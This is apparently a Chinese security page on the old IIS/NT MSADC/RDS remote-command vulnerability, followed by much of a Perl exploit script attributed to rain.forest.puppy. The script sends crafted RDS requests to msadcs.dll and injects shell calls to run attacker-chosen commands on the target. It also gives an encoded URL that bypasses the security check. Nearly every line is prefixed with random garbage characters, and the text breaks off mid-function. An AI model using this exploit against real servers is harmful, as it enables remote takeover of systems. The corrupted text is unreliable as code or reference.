IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
rei5{PC Ih3$ 涉及程序:
O:,=xIXR Microsoft NT server
s-%J5_d f sJv`fjf%8 描述:
:P,2K5]y 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
OGGSS&5tw J?,?fqb 详细:
2+Zti8 如果你没有时间读详细内容的话,就删除:
UO1$UF!
QC c:\Program Files\Common Files\System\Msadc\msadcs.dll
k% NrL@z 有关的安全问题就没有了。
L20rv:W$h -$9~xX 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
LyV#j>gD *F|+2?a:$ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
RAwk7F3qn 关于利用ODBC远程漏洞的描述,请参看:
nzWQQra|? NnP.k7m) http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm \imp7}N phmVkV2a;# 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
P#v^"}.Wd http://www.microsoft.com/security/bulletins/MS99-025faq.asp "f<#.}8 =1IEpxh% 这里不再论述。
o6|"J%9GX ng
9NE8F 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
PqI![KxZW c&b/Joi7@ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
:l;,m}#@ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
6&mWIk^VC 8yvJ`eL- *0\k
Z,#BJ #将下面这段保存为txt文件,然后: "perl -x 文件名"
&1~Re.*B H) cQO?B #!perl
*#6|!%?g #
2^J/6R$ # MSADC/RDS 'usage' (aka exploit) script
Y&:/~&' #
^Eu_NUFe # by rain.forest.puppy
5!8-)J-H #
[WYJrk. # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
F "!`X# # beta test and find errors!
RPY6Wh|4 umryA{Ps use Socket; use Getopt::Std;
f}%sO getopts("e:vd:h:XR", \%args);
GRy4cb2 O'fc/cvh=' print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
M&OsRrq pLPd[a if (!defined $args{h} && !defined $args{R}) {
%xHu,* print qq~
s<,"Hsh^CR Usage: msadc.pl -h <host> { -d <delay> -X -v }
QU,?}w'?d -h <host> = host you want to scan (ip or domain)
%uW< -d <seconds> = delay between calls, default 1 second
ZRO.bMgZF -X = dump Index Server path table, if available
)Yrr%f`\ -v = verbose
v|>BDN@,6 -e = external dictionary file for step 5
tpE3|5dZF =uS8>.Qj Or a -R will resume a command session
TtZrttCE6 `!_? uT ~; exit;}
N4s$.` Nl=+.d6Qo $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
+yvBSpY if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
0$!.c~ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
sv@}x[L if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
#|q;t $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
,rXW`7!2 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
bu;vpNa ]Px:d+wX: if (!defined $args{R}){ $ret = &has_msadc;
XGL"gD
die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
y^3,X_0 R4yJ.f print "Please type the NT commandline you want to run (cmd /c assumed):\n"
-^0KE/ . "cmd /c ";
=qan%=0"h $in=<STDIN>; chomp $in;
Of!|,2`( $command="cmd /c " . $in ;
7;~2e oUCVd}wH if (defined $args{R}) {&load; exit;}
f&f[La
wH#Lb@cfZ0 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
|O2|`"7 &try_btcustmr;
31H|?cg< ddl3fl#f print "\nStep 2: Trying to make our own DSN...";
W%w82@' &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
aL{EkiR 5t TLMZ `o print "\nStep 3: Trying known DSNs...";
j_hjCQ &known_dsn;
oA[2)BU qgh]@JJh print "\nStep 4: Trying known .mdbs...";
dnk1Mu< &known_mdb;
uLF\K+cz 3$;J0{&[i if (defined $args{e}){
ud5x$` print "\nStep 5: Trying dictionary of DSN names...";
r*xq(\v &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
9
4 "f /]P%b K6B print "Sorry Charley...maybe next time?\n";
zC[i <'h!T exit;
^BQ>vI'.4 >Y44{D\` ##############################################################################
bXk:~LE Z5 w`-# sub sendraw { # ripped and modded from whisker
RiwEuY sleep($delay); # it's a DoS on the server! At least on mine...
[Q7`RB my ($pstr)=@_;
;9 lqSv/6 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
&0?DL die("Socket problems\n");
H;4oZ[g if(connect(S,pack "SnA4x8",2,80,$target)){
9
<y/Wv select(S); $|=1;
Uzy;#q print $pstr; my @in=<S>;
*vEU}SxRuv select(STDOUT); close(S);
lrM.RM96 return @in;
\z<ws&z3`$ } else { die("Can't connect...\n"); }}
&?&'"c{;m MAl{66 ##############################################################################
AN50P!FZW
zgZi sub make_header { # make the HTTP request
iLc)"L-i my $msadc=<<EOT
YN$ndqOP POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
N. ItyV User-Agent: ACTIVEDATA
EG8%~k+R Host: $ip
"0p +SZ~D Content-Length: $clen
V7qCbd^>XJ Connection: Keep-Alive
1v+JCOy t"jIfU>'a/ ADCClientVersion:01.06
EY=\C$3J: Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
bL6L-S ufHuI* --!ADM!ROX!YOUR!WORLD!
d{vc
wZQ Content-Type: application/x-varg
nI((ki}v Content-Length: $reqlen
$yP'k&b! +ytT)S EOT
3uB=L7. ; $msadc=~s/\n/\r\n/g;
h'z+8X_t return $msadc;}
Y0R\u\b v)X[gt
tf ##############################################################################
k
2
mkOb <T4 7kL I sub make_req { # make the RDS request
1mvu3}ewx my ($switch, $p1, $p2)=@_;
'M]CZ} my $req=""; my $t1, $t2, $query, $dsn;
h+ `J=a|\ 5x93+DkO\ if ($switch==1){ # this is the btcustmr.mdb query
eP-R""uPw $query="Select * from Customers where City=" . make_shell();
r? 6Z1 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
HY@kw>I $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
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